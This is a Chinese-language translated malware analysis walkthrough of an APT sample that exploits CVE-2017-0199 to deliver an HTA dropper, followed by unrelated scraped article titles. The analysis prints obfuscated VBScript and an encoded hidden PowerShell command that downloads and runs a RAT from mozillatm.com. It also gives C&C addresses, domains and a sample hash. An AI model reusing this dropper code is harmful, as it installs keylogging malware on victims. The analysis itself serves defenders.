由prison翻译整理,首发i春秋
 
引言;
 
这是一次来自遥远国度的APT攻击分析样本范例,本文作者将带领你体验二进制漏洞分析的乐趣。
 
过程非常详细,附带所需样本,适合新手。难度三颗星。
目标文件:
我发现这里存在 CVE-2017-0199,这样就让我们找payload变得简单了。

b = '00000068007400740070003a002f002f006d006f007a0069006c006c00610074006d002e0063006f006d002f006c006f006100640069006e0067002e00680074006d006c00000000'
  
"".join("{0}".format((i+j).replace('00','').decode('hex')) for i, j in zip(b[::2], b[1::2]))
  
>> 'http://mozillatm.com/loading.html'
这个漏洞将会交付一个恶意的HTA文件并执行它。HTA意味着IE,所以VBScript将会很好地执行。
一旦我们访问了这个页面,我们就可以看到这个被混淆的的VBScript,它会执行PowerShell并将恶意软件投放到系统中。

你可以从这里参考
这个环节开始变得有意思起来了。
fuNctioN gJSoYXXAVqwD()
  
    DIM taCXnLuJDFFL
  
    taCXnLuJDFFL = cHRW(34)
     CReaTEoBJecT(HLJlzxWsFMxQ(CGUgZBJuvRsW("V1RzVENUUlRJVHBUVFQuVHNUaFRlVExUTFQ="))).expANdEnVIRoNMEnTSTrInGS(HLJlzxWsFMxQ(CGUgZBJuvRsW("JVpzWnlac1p0WmVaTVpSWm9ab1pUWiVa")))
     HLJlzxWsFMxQ(CGUgZBJuvRsW("XGtTa3lrU2tUa0VrTWszazJrXGtXa2lrTmtEa29rV2tTa3Brb2tXa0Vrcmtza0hrRWtMa0xrXGt2azFrLmswa1xrcGtva3drZWtSa3NraGtFa0xrTGsua2VreGtFaw=="))
     ChRw(34)
  
    CreAtEOBJeCt(HLJlzxWsFMxQ(CGUgZBJuvRsW("d0FzQWNBckFJQXBBdEEuQXNBaEFFQWxBbEE="))).run taCXnLuJDFFL
     " POwerShELL.exe -EXECUtIOnPOlIcY BYPaSS -noPROfiLE -WInDoWStYlE HiDDen -EnCOdedCommAnD IAAoAG4ARQB3AC0AbwBCAEoARQBDAHQAIABTAHkAcwBUAEUATQAuAE4AZQBUAC4AVwBlAGIAYwBMAGkAZQBOAFQAKQAuAEQAbwB3AG4ATABPAEEARABGAGkATABFACgAIAAdIGgAdAB0AHAAOgAvAC8AbQBvAHoAaQBsAGwAYQB0AG0ALgBjAG8AbQAvAGwAbwBhAGQAaQBuAGcALgBlAHgAZQAdICAALAAgAB0gJABFAG4AdgA6AFQATQBQAFwAQwBoAHIAbwBtAGUAdABtAC4AZQB4AGUAHSAgACkAIAA7ACAAcwBUAEEAcgBUACAAHSAkAEUAbgB2ADoAdABNAFAAXABDAGgAcgBvAG0AZQB0AG0ALgBlAHgAZQAdIA== " , 0
  
eND fUnCtioN

[/table]

但是如果先不管被混淆的代码,直接调试代码的话,最终”taCXnLuJDFFL”这个变量将会被包含进去。
""C:\Windows\SySTEM32\WiNDoWSpoWErsHELL\v1.0\poweRshELL.exE""

[table=98%]

伪代码可以这样写:

Set oShell = WScript.CreateObject ("WSCript.shell")
oShell.run  ""C:\Windows\SySTEM32\WiNDoWSpoWErsHELL\v1.0\poweRshELL.exE""  & " POwerShELL.exe -EXECUtIOnPOlIcY BYPaSS -noPROfiLE -WInDoWStYlE HiDDen -EnCOdedCommAnD IAAoAG4ARQB3AC0AbwBCAEoARQBDAHQAIABTAHkAcwBUAEUATQAuAE4AZQBUAC4AVwBlAGIAYwBMAGkAZQBOAFQAKQAuAEQAbwB3AG4ATABPAEEARABGAGkATABFACgAIAAdIGgAdAB0AHAAOgAvAC8AbQBvAHoAaQBsAGwAYQB0AG0ALgBjAG8AbQAvAGwAbwBhAGQAaQBuAGcALgBlAHgAZQAdICAALAAgAB0gJABFAG4AdgA6AFQATQBQAFwAQwBoAHIAbwBtAGUAdABtAC4AZQB4AGUAHSAgACkAIAA7ACAAcwBUAEEAcgBUACAAHSAkAEUAbgB2ADoAdABNAFAAXABDAGgAcgBvAG0AZQB0AG0ALgBlAHgAZQAdIA== " , 0
一旦我们破解了为powershell提供的编码命令,我们就能看到被下载的恶意软件。
这是一个PowerShell一行程序将恶意软件从http://mozillatm.com/loading.exe并将其保存到% TMP%文件夹类似于“Chrometm.exe”
这个恶意软件是用可视化的Basic语言编写的,并且高度混淆。我把这个样本提交给了Malwr.com,你可以在这里查看完整的分析。
攻击者似乎使用的是RAT。

在运行之后,它会将自己的程序“mozillatm.exe”复制到“program files”文件夹中。我们可以自行进入检查下。另一个exe是“Mozillatms.exe “在”system32“文件夹中,注意这个’s’,看起来像是一种备份。

Program Files中复制的文件:

然而机智如我注意到一些不一样的地方。在64位机器中恶意软件将会把它自己复制到“C:\windows\SysWow64” 文件夹中,那么这个自动生成的秘钥就不会在64位下的机器中运行,这说明这个恶意软件的备份在64位下的机器中将会失效。

“Mozillatm.exe”将是我们的恶意可执行文件。

该恶意软件将与C&C通信,IP地址为162.248.92.28:131106。

这个恶意软件将会存储截屏、按键记录并将它们发送到C&C服务器。它们位于%USERPROFILE%\AppData\Roaming\Mozillatms

按键日志可以在“logs”文件夹中找到。

屏幕快照数据使用压缩算法进行二次压缩,但是可以轻松地解压。

我编写了一个简单的工具来使用压缩算法执行压缩和解压。

/*
 * Title: Deflate Tool
 * Purpose: Compress and decompress files using the Deflate algorithm
 * Author: Osanda Malith Jayathissa (@OsandaMalith)
 * Website: [url]https://OsandaMalith.com[/url]
 */
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.IO.Compression;
 
namespace compress2
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("[~] Deflate Tool - @OsandaMalith\n");
 
            if (args.Length != 3)
            {
                Console.WriteLine("Usage: {0} input.dat output.dat -c or -d", System.AppDomain.CurrentDomain.FriendlyName);
                System.Environment.Exit(-1);
            }
 
            DeflateStream deflate = null;
            FileStream sink = null;
            FileStream source = new FileStream(Environment.GetCommandLineArgs()[1], FileMode.Open);
 
            if (Environment.GetCommandLineArgs()[3].Substring(1, 1).Equals("d"))
            {
                deflate = new DeflateStream(source, CompressionMode.Decompress);
                sink = new FileStream(Environment.GetCommandLineArgs()[2], FileMode.Create);
 
                byte[] buffer = new byte[source.Length];
                buffer = new byte[source.Length];
 
                deflate.Read(buffer, 0, buffer.Length);
                sink.Write(buffer, 0, buffer.Length);
                sink.Close();
            }
            else if (Environment.GetCommandLineArgs()[3].Substring(1, 1).Equals("c"))
            {
                deflate = new DeflateStream(source, CompressionMode.Compress);
                sink = new FileStream(Environment.GetCommandLineArgs()[2], FileMode.Create);
                byte[] buffer = new byte[source.Length];
                source.Read(buffer, 0, buffer.Length);
                deflate.Write(buffer, 0, buffer.Length);
                sink.Write(buffer, 0, buffer.Length);
                sink.Close();
            }
            else
            {
                Console.WriteLine("Enter an option -c compress or -d decompress");
                System.Environment.Exit(-1);
            }
 
            source.Close();
        
        }
    }
}

这是恶意软件的截图。

出于好奇,我查看了C&C IP地址162.248.92.28,发现使用了Squid代理。

但是,它使用HTTP身份验证。

通过使用谷歌搜索,我发现这些域名也是使用相同的恶意软件进行攻击的变种。

·         Bd2bd.com
·         Pc-net.org
·         Bd-pc.com
·         Registerbd.com
·         
附上我分析过的样本:
Filename: A0Jst6jAd7CYerrqFmwb4wqDLa5XHPW_May_2017.doc
SHA256: 273b0fc627daefd0fbae209e5fa1ea619bfb177a1b0ae2d55a606cf2c6ec2674
https://virustotal.com/en/file/273b0fc627daefd0fbae209e5fa1ea619bfb177a1b0ae2d55a606cf2c6ec2674/analysis/1496541543/

带你走进二进制-一次APT攻击分析的更多相关文章

  1. 初探APT攻击

    首发于i春秋 作者:joe     所属团队:Arctic Shell 团队博客地址:https://www.cnblogs.com/anbus/   0x1:关于APT的相关介绍:     APT是 ...

  2. APT攻击基础科普

    0x00 APT的历史起源背景 APT这个词汇最早起源于:2005年英国和美国的CERT组织发布了关于有针对性的社交工程电子邮件,放弃特洛伊木马以泄露敏感信息的第一个警告,尽管没有使用“APT”这个名 ...

  3. 初探APT 攻击

    作者:joe       所属团队:Arctic Shell 本文编写参考: https://www.freebuf.com/vuls/175280.html https://www.freebuf. ...

  4. 从kill-chain的角度检测APT攻击

    前言 最近一直在考虑如何结合kill chain检测APT攻击.出发点是因为尽管APT是一种特殊.高级攻击手段,但是它还是会具有攻击的common feature,只要可以把握住共同特征,就能进行检测 ...

  5. MYSQL(基本篇)——一篇文章带你走进MYSQL的奇妙世界

    MYSQL(基本篇)--一篇文章带你走进MYSQL的奇妙世界 MYSQL算是我们程序员必不可少的一份求职工具了 无论在什么岗位,我们都可以看到应聘要求上所书写的"精通MYSQL等数据库及优化 ...

  6. 小丁带你走进git的世界三-撤销修改

    一.撤销指令 git checkout还原工作区的功能 git reset  还原暂存区的功能 git clean  还没有被添加进暂存区的文件也就是git还没有跟踪的文件可以使用这个命令清除他们 g ...

  7. 小丁带你走进git的世界二-工作区暂存区分支

    小丁带你走进git的世界二-工作区暂存区分支 一.Git基本工作流程 1.初始化一个仓库 git  init git  clone git仓库分为两种情况: 第一种是在现有项目或目录下导入所有文件到 ...

  8. 小丁带你走进git世界一-git简单配置

    小丁带你走进git世界一-git简单配置 1.github的简单配置 配置提交代码的信息,例如是谁提交的代码之类的. git config  –global user.name BattleHeaer ...

  9. 水坑式攻击-APT攻击常见手段

    所谓“水坑攻击”,是指黑客通过分析被攻击者的网络活动规律,寻找被攻击者经常访问的网站的弱点,先攻下该网站并植入攻击代码,等待被攻击者来访时实施攻击. 水坑攻击属于APT攻击的一种,与钓鱼攻击相比,黑客 ...

随机推荐

  1. 关于ueditor 在struts2 中 上传图片 ,未找到上传文件 问题的解决方法

    问题原因: ueditor 上传图片需请求imageUp.jsp文件,struts2 自带的拦截器(/*)把所有请求的文件都做了处理,所以导致无法上传图片. 解决方法: 方法一:自定义拦截器,让它在请 ...

  2. ubunut下安装ibus_pinyin中文输入法

    ubuntu安装中文输入法,,此处一ibus-pinyin为例为其安装中文输入法,,, 1. 设置(setting)---语言支持(language support)---汉语(chinese),,, ...

  3. ajax +jsp+iframe无刷新上传文件[转]

    http://hi.baidu.com/zj360202/blog/item/f23e3711f929c774cb80c475.html ajax jsp 无刷新上传文件 2009-10-26 16: ...

  4. ThinkPHP 二维码生成

    请求获取并展示二维码 <img src="<?php echo U('createCode?zsnumber='.$time.$kcname['id'].$stuInfo['id ...

  5. dj forms表单组件

    手动的一个个去校验前端传过来的字段数据,是很麻烦的,利用django 的forms组件,对需要校验的字段定义好,能够大大提高效率. 校验字段功能 from django.db import model ...

  6. 工作中的小tips(持续更新)

    1.在工作的时候一定要留下痕迹,这样即使乙方抵赖,或者说领导认为你没干活的时候留下证据(电话没有微信,邮件之类的文字类有效果) 2.每天晚上下班之前将一天的工作总结一下,把第二天的工作给罗列出来,以方 ...

  7. java实现在图片上编辑文本内容

    package com.yin.text; import java.awt.Color; import java.awt.Font; import java.awt.Graphics2D; impor ...

  8. java基础-day18

    第07天 集合 今日内容介绍 u  HashSet集合 u  HashMap集合 第1章   HashSet集合 1.1  Set接口的特点 Set体系的集合: A:存入集合的顺序和取出集合的顺序不一 ...

  9. vc6中向vs2010迁移的几个问题(2)

    1. 库文件的迁移 参考:http://www.cnblogs.com/icmzn/p/6724969.html 2. 其他项目中的可能遇到的问题: 2.1 无法打开包括文件:“fstream.h”: ...

  10. 《mysql必知必会》学习_第10章_20180731_欢

    第10章,计算字段. P64 select concat (vend_name,'(',vend_country,')') from vendors order by vend_name; # 拼接, ...